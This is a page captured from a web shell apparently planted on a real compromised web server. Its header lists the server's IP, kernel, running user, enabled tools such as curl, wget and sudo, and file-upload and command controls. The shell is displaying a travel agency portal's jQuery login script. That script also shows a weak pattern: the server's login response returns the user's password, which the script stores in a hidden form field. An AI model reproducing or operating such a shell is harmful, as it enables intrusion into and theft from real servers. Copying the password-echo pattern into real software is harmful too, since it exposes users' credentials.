403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2b.hellogtx.com/public/agency/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2b.hellogtx.com/public/agency/login.js
/**
 * Created by Ranvir Singh on 13 Jul 2017.
 * Updated on 13 Jul 2017
 */

$(document).ready(function() {
    $('.auth_login_submit').hide();
    $( "#auth_login" ).on('submit',function(e){
        e.preventDefault();
        var data = $(this).serialize();
        if($('#auth_login input[name="userName"]').val() == ''){
            //alert('Please enter your email id');
            $('.login_msg').html('Please enter your email id');
            $('#auth_login input[name="userName"]').focus();return false;
        }
        if($('#auth_login input[name="userPassword"]').val() == ''){
            //alert('Please enter your password');
            $('.login_msg').html('Please enter your password');
            $('#auth_login input[name="userPassword"]').focus();return false;
        }
        $('.loging').attr('disabled', 'disabled');
        
        $.ajax({
            url: 'agency/index/agencyagentlogin',
            type: 'POST',
            data: data,
            dataType: 'json',
            beforeSend: function(){ $('.loging').html('<i class="ace-icon fa fa-spinner fa-spin orange bigger-125"></i> Authentication...');},
            success:function(result){
                if(result.status){
                    //Thank you message
                    //alert(result.Password);return false
                    //$('#successmsg').html("<center>Thank you <br>Your enquiry send successfully.<br> we'll be in touch with you shortly.</center>")
                    $('.login_msg').html(result.message);
                    $('#AgencySysId_').val(result.AgencySysId);
                    $('#AgentSysId_').val(result.AgentSysId);
                    $('#EmailId').val(result.EmailId);
                    $('#FirstName').val(result.FirstName);
                    $('#LastName').val(result.LastName);
                    $('#Password_cu').val(result.Password);
                    $('#auth_login_submit').submit();
                    //alert(result.message);return false
                }else{
                    // error response
                    $('.loging').html('Login');
                    $('.loging').removeAttr('disabled', 'disabled');
                    $('.login_msg').html(result.message);return false;
                    //alert(result.message);
                }
            },
            error:function(){
                $('.loging').html('Login');
                $('.loging').removeAttr('disabled', 'disabled');
                alert('Oops unable to connect with server!!');
            }

        });
        //alert(data);return false;
    });
    $( "#forgot_password" ).on('submit',function(e){
        e.preventDefault();
        var data = $(this).serialize();
        if($('#forgot_password input[name="forget"]').val() == ''){
            //alert('Please enter your email id');
            $('.forgot_msg').html('Please enter your email id');
            $('#forgot_password input[name="forget"]').focus();return false;
        }
        $('.forgot').attr('disabled', 'disabled');
        $.ajax({
            url: SITEURL +'customer/forgotpassword',
            type: 'POST',
            data: data,
            dataType: 'json',
            beforeSend: function(){ $('.forgot').html('<i class="ace-icon fa fa-spinner fa-spin orange bigger-125"></i> Please wait..');},
            success:function(result){
                if(result.status){
                    //Thank you message
                    $('#successmsg').html("<center><strong>Verification Link Sent</strong> <br>we will send a link to reset password to your registered email id. This link expire within 10 minutes.</center>")
                    $('.hidedivs').hide();
                    //alert(result.message);return false
                }else{
                    // error response
                    $('.forgot').html('Submit');
                    $('.forgot').removeAttr('disabled', 'disabled');
                    $('.forgot_msg').html(result.message);return false;
                    //alert(result.message);return false;
                }
            },
            error:function(){
                $('.forgot').html('Submit');
                $('.forgot').removeAttr('disabled', 'disabled');
                alert('Oops unable to connect with server!!');
            }

        });
    });
    $( "#reset_password" ).on('submit',function(e){
        e.preventDefault();
        var data = $(this).serialize();
        
        if($('#reset_password input[name="npass"]').val() === ''){
            //alert('Please enter new password');
            $('.passchange_msg').html('Please enter new password');
            $('#reset_password input[name="npass"]').focus();return false;
        }
        if($('#reset_password input[name="copass"]').val() === ''){
            ///alert('Please enter confirm password');
            $('.passchange_msg').html('Please enter confirm password');
            $('#reset_password input[name="copass"]').focus();return false;
        }
        if($('#reset_password input[name="npass"]').val() !== $('#reset_password input[name="copass"]').val()){
            //alert('Confirm password does not match with new password');
            $('.passchange_msg').html('Confirm password does not match with new password');
            $('#reset_password input[name="copass"]').focus();return false;
        }
        $('.change').attr('disabled', 'disabled');
        $.ajax({
            url: SITEURL +'customer/resetpassword',
            type: 'POST',
            data: data,
            dataType: 'json',
            beforeSend: function(){ $('.change').html('<i class="ace-icon fa fa-spinner fa-spin orange bigger-125"></i> Please wait...');},
            success:function(result){
                if(result.status){
                    //Thank you message
                    $('.change').html('Submit');
                    $('.change').removeAttr('disabled', 'disabled');
                    //alert(result.message);
                    $('.passchange_msg').html(result.message);
                    window.location.href = SITEURL+"customer/unsetresetdata";
                    
                }else{
                    // error response
                    $('.change').html('Submit');
                    $('.change').removeAttr('disabled', 'disabled');
                    $('.passchange_msg').html(result.message);return false;
                    //alert(result.message);
                }
            },
            error:function(){
                $('.change').html('Submit');
                $('.change').removeAttr('disabled', 'disabled');
                alert('Oops unable to connect with server!!');
            }

        });
        //alert(data);return false;
    });
});

Youez - 2016 - github.com/yon3zu
LinuXploit